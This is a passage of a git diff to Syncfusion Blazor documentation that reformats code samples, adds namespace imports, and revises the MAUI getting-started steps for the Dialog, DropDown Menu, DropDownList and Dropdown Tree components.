 {% previewsample "https://blazorplayground.syncfusion.com/embed/VZhyjEByHgdKnwXS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dialog with Header](./images/blazor-dialog-header.png)" %}
 
@@ -270,13 +278,15 @@ The [Header](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Popups.Dial
 
 The [Content](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Popups.SfDialog.html#Syncfusion_Blazor_Popups_SfDialog_Content) property allows rendering a dialog with custom text content.
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Popups
 
 <SfDialog Width="250px" Content="This is a dialog with Content property."></SfDialog>
 
-```
+{% endhighlight %}
+{% endtabs %}
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/LXhIZPssAIpntkQY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dialog with Content](./images/blazor-dialog-content.png)" %}
 
diff --git a/blazor/dialog/getting-started-with-web-app.md b/blazor/dialog/getting-started-with-web-app.md
index 29a2c61229..4f2df053c8 100644
--- a/blazor/dialog/getting-started-with-web-app.md
+++ b/blazor/dialog/getting-started-with-web-app.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Popups
+
 <SfDialog Width="250px">
     <DialogTemplates>
         <Content> This is a Dialog with content </Content>
@@ -200,7 +202,8 @@ html, body {
 
 - The [Destroyed](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Popups.DialogEvents.html#Syncfusion_Blazor_Popups_DialogEvents_Destroyed) event triggers when the dialog component is removed from the DOM. These lifecycle events allow executing custom code at specific points in the component's existence.
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Popups
 
@@ -220,7 +223,8 @@ html, body {
     }
 }
 
-```
+{% endhighlight %}
+{% endtabs %}
 
 ## Prerender the Dialog
 
@@ -229,7 +233,8 @@ The [AllowPrerender](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Pop
 * By default, AllowPrerender is set to false. In this mode, dialog DOM elements are completely removed from the DOM when the dialog is hidden, and recreated each time the dialog is shown. This approach saves memory but requires re-rendering on each display.
 * When AllowPrerender is set to true, the dialog elements remain in the DOM even when hidden, which improves performance for frequently accessed dialogs but uses more memory.
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Popups
 @using Syncfusion.Blazor.Buttons
@@ -254,7 +259,8 @@ The [AllowPrerender](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Pop
     }
 }
 
-```
+{% endhighlight %}
+{% endtabs %}
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/BXVyNPspKoXXlIYf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
@@ -262,13 +268,15 @@ The [AllowPrerender](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Pop
 
 The [Header](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Popups.DialogTemplates.html#Syncfusion_Blazor_Popups_DialogTemplates_Header) property allows rendering a dialog with custom text header.
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Popups
 
 <SfDialog Width="250px" Header="Dialog Header"></SfDialog>
 
-```
+{% endhighlight %}
+{% endtabs %}
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/VZhyjEByHgdKnwXS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dialog with Header](./images/blazor-dialog-header.png)" %}
 
@@ -276,13 +284,15 @@ The [Header](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Popups.Dial
 
 The [Content](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Popups.SfDialog.html#Syncfusion_Blazor_Popups_SfDialog_Content) property allows rendering a dialog with custom text content.
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Popups
 
 <SfDialog Width="250px" Content="This is a dialog with Content property."></SfDialog>
 
-```
+{% endhighlight %}
+{% endtabs %}
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/LXhIZPssAIpntkQY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dialog with Content](./images/blazor-dialog-content.png)" %}
 
diff --git a/blazor/drop-down-menu/getting-started-with-server-app.md b/blazor/drop-down-menu/getting-started-with-server-app.md
index 15a6ca09e5..5b31b44289 100644
--- a/blazor/drop-down-menu/getting-started-with-server-app.md
+++ b/blazor/drop-down-menu/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.SplitButtons
+
 <SfDropDownButton Content="Edit">
     <DropDownMenuItems>
         <DropDownMenuItem Text="Cut"></DropDownMenuItem>
diff --git a/blazor/drop-down-menu/getting-started-with-web-app.md b/blazor/drop-down-menu/getting-started-with-web-app.md
index 8315be5b14..b4cc4fca2c 100644
--- a/blazor/drop-down-menu/getting-started-with-web-app.md
+++ b/blazor/drop-down-menu/getting-started-with-web-app.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.SplitButtons
+
 <SfDropDownButton Content="Edit">
     <DropDownMenuItems>
         <DropDownMenuItem Text="Cut"></DropDownMenuItem>
diff --git a/blazor/dropdown-list/getting-started-with-maui-app.md b/blazor/dropdown-list/getting-started-with-maui-app.md
index 2a36ea870f..83a88d6b1c 100644
--- a/blazor/dropdown-list/getting-started-with-maui-app.md
+++ b/blazor/dropdown-list/getting-started-with-maui-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor DropDownList Component
 
-This section guides through integrating the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DropDownList component into a .NET MAUI Blazor application using both Visual Studio and Visual Studio Code.
+This section guides through integrating the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DropDownList](https://www.syncfusion.com/blazor-components/blazor-dropdown-list) component into a .NET MAUI Blazor application using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 {% tabcontents %}
 
@@ -17,26 +17,11 @@ This section guides through integrating the Syncfusion<sup style="font-size:70%"
 
 ## Prerequisites
 
-Install the Mobile development with .NET workload for Visual Studio to use .NET MAUI project templates. For details, refer to the [.NET MAUI installation guide](https://learn.microsoft.com/en-us/dotnet/MAUI/get-started/installation?tabs=vswin) and the [Syncfusion Blazor extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio) documentation:
+To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/MAUI/get-started/installation?tabs=vswin) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
 
 ## Create a new Blazor MAUI App in Visual Studio
 
-Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DropDowns and Themes NuGet in the app
-
-To add the Blazor DropDownList component, open the NuGet Package Manager (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then install [Syncfusion.Blazor.DropDowns](https://www.nuget.org/packages/Syncfusion.Blazor.DropDowns) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes):
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.DropDowns -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) list for available components and details:
+Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
 {% endtabcontent %}
 
@@ -48,35 +33,43 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio Code
 
-Create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Blazor DropDowns and Themes NuGet in the App
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-To add **Blazor DropDownList**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.DropDowns](https://www.nuget.org/packages/Syncfusion.Blazor.DropDowns) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.DropDowns -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
 {% endhighlight %}
-
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available on NuGet. See the NuGet packages list for available components and details:
-- https://www.nuget.org/packages?q=syncfusion.blazor
-- https://blazor.syncfusion.com/documentation/nuget-packages
-
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-## Add Import Namespaces
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.DropDowns](https://www.nuget.org/packages/Syncfusion.Blazor.DropDowns) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`).
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.DropDowns` namespaces.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.DropDowns -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
+## Add import namespaces
+
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.DropDowns` namespaces.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -87,85 +80,71 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/MauiProgram.cs** file.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-using Microsoft.Extensions.Logging;
+....
 using Syncfusion.Blazor;
 
-namespace MauiBlazorWindow;
+....
 
-    public static class MauiProgram
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-            builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor DropDown List Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.DropDowns/scripts/sf-dropdownlist.min.js" type="text/javascript"></script> -->
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
+
 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-## Add Blazor DropDown List component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DropDown List component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DropDown List component in the ~/Pages/Index.razor file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DropDown List component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.DropDowns
 
 <SfDropDownList TValue="string" TItem="string" Placeholder="Select a game"></SfDropDownList>
 
 {% endhighlight %}
 {% endtabs %}
 
-### How to Run the Sample on Windows
+### How to run the sample on Windows
 
 Run the sample in Windows Machine mode to launch the .NET MAUI Blazor app on Windows.
 
 ![Blazor DropDownList Component](./images/blazor-dropdownlist-maui-app.png)
 
-### How to Run the Sample on Android
+### How to run the sample on Android
 
-To run the Blazor DataGrid in a Blazor Android MAUI application using the Android emulator, follow these steps:
+To run the Blazor DropDownList in a Blazor Android MAUI application using the Android emulator, follow these steps:
 
 Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
 
-N> If you encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance [Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
+N> If encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance [Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
 
 ![Blazor DropDownList Component](./images/blazor-dropdownlist-component.png)
 
@@ -174,7 +153,9 @@ N> If you encounter any errors while using the Android Emulator, refer to the fo
 After initialization, populate the DropDownList with data using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.SfDropDownBase-1.html#Syncfusion_Blazor_DropDowns_SfDropDownBase_1_DataSource) property.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.DropDowns
 
 <SfDropDownList TValue="string" TItem="Games" Placeholder="Select a game" DataSource="@LocalData">
   <DropDownListFieldSettings Value="ID" Text="Text"></DropDownListFieldSettings>
@@ -210,7 +191,9 @@ After initialization, populate the DropDownList with data using the [DataSource]
 By default, the width of the popup list automatically adjusts according to the DropDownList input element's width, and the height of the popup list has `350px`. The height and width of the popup list can also be customized using the [PopupHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.SfDropDownList-2.html#Syncfusion_Blazor_DropDowns_SfDropDownList_2_PopupHeight) and [PopupWidth](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.SfDropDownList-2.html#Syncfusion_Blazor_DropDowns_SfDropDownList_2_PopupWidth) properties respectively.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.DropDowns
 
 <SfDropDownList TValue="string" TItem="Games" PopupHeight="350px" PopupWidth="350px" Placeholder="Select a game" DataSource="@LocalData">
   <DropDownListFieldSettings Value="ID" Text="Text"></DropDownListFieldSettings>
@@ -246,7 +229,7 @@ By default, the width of the popup list automatically adjusts according to the D
 Get the selected value of the DropDownList component in the [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.DropDownListEvents-2.html#Syncfusion_Blazor_DropDowns_DropDownListEvents_2_ValueChange) event using [ChangeEventArgs.Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.ChangeEventArgs-2.html#Syncfusion_Blazor_DropDowns_ChangeEventArgs_2_Value) property.
 
 
-{% highlight cshtml %}
+{% highlight razor tabtitle="Home.razor" %}
 
 {% include_relative code-snippet/getting-started/get-selected-value.razor %}
 
@@ -255,7 +238,7 @@ Get the selected value of the DropDownList component in the [ValueChange](https:
 Get the complete object list of the selected value in the [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.DropDownListEvents-2.html#Syncfusion_Blazor_DropDowns_DropDownListEvents_2_ValueChange) event using the [ChangeEventArgs.ItemData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.ChangeEventArgs-2.html#Syncfusion_Blazor_DropDowns_ChangeEventArgs_2_ItemData) property.
 
 
-{% highlight cshtml %}
+{% highlight razor tabtitle="Home.razor" %}
 
 {% include_relative code-snippet/getting-started/item-data.razor %}
 
diff --git a/blazor/dropdown-list/getting-started-with-server-app.md b/blazor/dropdown-list/getting-started-with-server-app.md
index 1397793c23..db5849b55d 100644
--- a/blazor/dropdown-list/getting-started-with-server-app.md
+++ b/blazor/dropdown-list/getting-started-with-server-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor DropDown List Component
 
-This section explains how to include the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DropDownList](https://www.syncfusion.com/blazor-components/blazor-dropdown-list) component in a Blazor Server app using Visual Studio, Visual Studio Code, and the .NET CLI.
+This section explains how to include the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DropDownList](https://www.syncfusion.com/blazor-components/blazor-dropdown-list) component in a Blazor Server App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfDropDownList TValue="string" TItem="string" Placeholder="Select a game"></SfDropDownList>
 
 {% endhighlight %}
@@ -177,6 +179,8 @@ After initialization, populate the DropDownList with data using the [DataSource]
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfDropDownList TValue="string" TItem="Games" Placeholder="Select a game" DataSource="@LocalData">
   <DropDownListFieldSettings Value="ID" Text="Text"></DropDownListFieldSettings>
 </SfDropDownList>
@@ -213,6 +217,8 @@ By default, the popup list width adjusts to match the DropDownList input width,
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfDropDownList TValue="string" TItem="Games" PopupHeight="350px" PopupWidth="350px" Placeholder="Select a game" DataSource="@LocalData">
   <DropDownListFieldSettings Value="ID" Text="Text"></DropDownListFieldSettings>
 </SfDropDownList>
@@ -246,19 +252,23 @@ By default, the popup list width adjusts to match the DropDownList input width,
 
 Get the selected value of the DropDownList component in the [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.DropDownListEvents-2.html#Syncfusion_Blazor_DropDowns_DropDownListEvents_2_ValueChange) event using the [ChangeEventArgs.Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.ChangeEventArgs-2.html#Syncfusion_Blazor_DropDowns_ChangeEventArgs_2_Value) property.
 
+{% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
 {% include_relative code-snippet/getting-started/get-selected-value.razor %}
 
 {% endhighlight %}
+{% endtabs %}
 
 Get the complete object for the selected item in the [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.DropDownListEvents-2.html#Syncfusion_Blazor_DropDowns_DropDownListEvents_2_ValueChange) event using the [ChangeEventArgs.ItemData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.ChangeEventArgs-2.html#Syncfusion_Blazor_DropDowns_ChangeEventArgs_2_ItemData) property.
 
+{% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
 {% include_relative code-snippet/getting-started/item-data.razor %}
 
 {% endhighlight %}
+{% endtabs %}
 
 N> [View the sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DropDownList).
 
diff --git a/blazor/dropdown-list/getting-started-with-web-app.md b/blazor/dropdown-list/getting-started-with-web-app.md
index 25b7599c18..a36e09f254 100644
--- a/blazor/dropdown-list/getting-started-with-web-app.md
+++ b/blazor/dropdown-list/getting-started-with-web-app.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfDropDownList TValue="string" TItem="string" Placeholder="Select a game"></SfDropDownList>
 
 {% endhighlight %}
@@ -183,6 +185,8 @@ After initialization, populate the DropDownList with data using the [DataSource]
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfDropDownList TValue="string" TItem="Games" Placeholder="Select a game" DataSource="@LocalData">
   <DropDownListFieldSettings Value="ID" Text="Text"></DropDownListFieldSettings>
 </SfDropDownList>
@@ -219,6 +223,8 @@ By default, the popup list width adjusts to the DropDownList input width, and th
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfDropDownList TValue="string" TItem="Games" PopupHeight="350px" PopupWidth="350px" Placeholder="Select a game" DataSource="@LocalData">
   <DropDownListFieldSettings Value="ID" Text="Text"></DropDownListFieldSettings>
 </SfDropDownList>
@@ -252,21 +258,23 @@ By default, the popup list width adjusts to the DropDownList input width, and th
 
 Get the selected value of the DropDownList component in the [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.DropDownListEvents-2.html#Syncfusion_Blazor_DropDowns_DropDownListEvents_2_ValueChange) event using [ChangeEventArgs.Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.ChangeEventArgs-2.html#Syncfusion_Blazor_DropDowns_ChangeEventArgs_2_Value) property.
 
-
+{% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
 {% include_relative code-snippet/getting-started/get-selected-value.razor %}
 
 {% endhighlight %}
+{% endtabs %}
 
 Get the complete object list of the selected value in the [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.DropDownListEvents-2.html#Syncfusion_Blazor_DropDowns_DropDownListEvents_2_ValueChange) event using the [ChangeEventArgs.ItemData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.ChangeEventArgs-2.html#Syncfusion_Blazor_DropDowns_ChangeEventArgs_2_ItemData) property.
 
-
+{% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
 {% include_relative code-snippet/getting-started/item-data.razor %}
 
 {% endhighlight %}
+{% endtabs %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DropDownList).
 
diff --git a/blazor/dropdown-tree/checkbox.md b/blazor/dropdown-tree/checkbox.md
index 4fc8654281..5e1d2c9a16 100644
--- a/blazor/dropdown-tree/checkbox.md
+++ b/blazor/dropdown-tree/checkbox.md
@@ -122,4 +122,4 @@ In the following example, the [ShowSelectAll](https://help.syncfusion.com/cr/bla
 }
 ```
 
-![MultiSelection in Blazor Dropdown Tree.](./images/blazor-dropdowntree-component-selectall.PNG)
+![MultiSelection in Blazor Dropdown Tree.](./images/blazor-dropdowntree-component-selectall.webp)
diff --git a/blazor/dropdown-tree/events.md b/blazor/dropdown-tree/events.md
index 7944ddd439..ab3d1438e2 100644
--- a/blazor/dropdown-tree/events.md
+++ b/blazor/dropdown-tree/events.md
@@ -265,7 +265,7 @@ The Blazor Dropdown Tree component's [ValueChanging](https://help.syncfusion.com
 }
 ```
 
-![MultiSelection in Blazor Dropdown Tree](./images/blazor-dropdowntree-component-valuechanging.png)
+![MultiSelection in Blazor Dropdown Tree](./images/blazor-dropdowntree-component-valuechanging.webp)
 
 ## ValueChanged 
 
diff --git a/blazor/dropdown-tree/filtering.md b/blazor/dropdown-tree/filtering.md
index 77fbbb4923..211ff8a634 100644
--- a/blazor/dropdown-tree/filtering.md
+++ b/blazor/dropdown-tree/filtering.md
@@ -49,7 +49,7 @@ The following code demonstrates the filtering functionality with local data in t
 }
 ```
 
-![Blazor Dropdown Tree with local data filtering](./images/filter/blazor-dropdowntree-local-filter.png)
+![Blazor Dropdown Tree with local data filtering](./images/filter/blazor-dropdowntree-local-filter.webp)
 
 ## Remote data
 
@@ -137,7 +137,7 @@ The Data items can be filtered with or without case sensitivity using the [Ignor
 
 You can use [FilterBarPlaceholder](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfDropDownTree-2.html#Syncfusion_Blazor_Navigations_SfDropDownTree_2_FilterBarPlaceholder) to accept the value to be displayed as a watermark text on the filter bar TextBox. `FilterBarPlaceholder` is applicable when [`AllowFiltering`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfDropDownTree-2.html#Syncfusion_Blazor_Navigations_SfDropDownTree_2_AllowFiltering) is used as `true`. `FilterBarPlaceholder` is depends on [`AllowFiltering`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfDropDownTree-2.html#Syncfusion_Blazor_Navigations_SfDropDownTree_2_AllowFiltering) property.
 
-![Blazor Dropdown Tree with local data filtering](./images/filter/blazor-dropdowntree-placeholder.png)
+![Blazor Dropdown Tree with local data filtering](./images/filter/blazor-dropdowntree-placeholder.webp)
 
 ## Minimum filter length
 
diff --git a/blazor/dropdown-tree/form-validation.md b/blazor/dropdown-tree/form-validation.md
index 5aa8b99f60..03554879d2 100644
--- a/blazor/dropdown-tree/form-validation.md
+++ b/blazor/dropdown-tree/form-validation.md
@@ -167,4 +167,4 @@ When the Dropdown Tree input is valid, the form is ready to be submitted. If the
 }
 ```
 
-![Blazor Dropdown Tree inside editform](./images/blazor-dropdowntree-component-validation.PNG)
\ No newline at end of file
+![Blazor Dropdown Tree inside editform](./images/blazor-dropdowntree-component-validation.webp)
\ No newline at end of file
diff --git a/blazor/dropdown-tree/getting-started-with-server-app.md b/blazor/dropdown-tree/getting-started-with-server-app.md
index 1f04a3d148..e9655e1a48 100644
--- a/blazor/dropdown-tree/getting-started-with-server-app.md
+++ b/blazor/dropdown-tree/getting-started-with-server-app.md
@@ -193,6 +193,6 @@ The `TValue` parameter specifies the type for the [Value](https://help.syncfusio
 
